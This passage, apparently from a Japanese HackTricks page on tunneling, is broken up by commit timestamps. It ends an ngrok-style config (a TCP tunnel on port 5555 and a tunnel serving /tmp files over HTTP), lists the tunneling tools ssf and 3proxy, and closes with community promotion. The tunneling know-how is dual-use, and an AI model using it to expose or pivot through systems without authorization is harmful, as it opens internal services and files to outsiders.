2024-03-14 23:41:41 +00:00
proto: tcptunne
2023-07-07 23:42:27 +00:00
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
2024-03-14 23:41:41 +00:00
## その他のチェックするツール
2020-07-15 15:43:14 +00:00
* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
2024-03-14 23:41:41 +00:00
**Try Hard Security Group**
2024-03-26 15:55:19 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:41:41 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 15:55:19 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-26 15:55:19 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASS& HackTricks swag** ](https://peass.creator-spring.com )を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。**
2024-03-14 23:41:41 +00:00
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >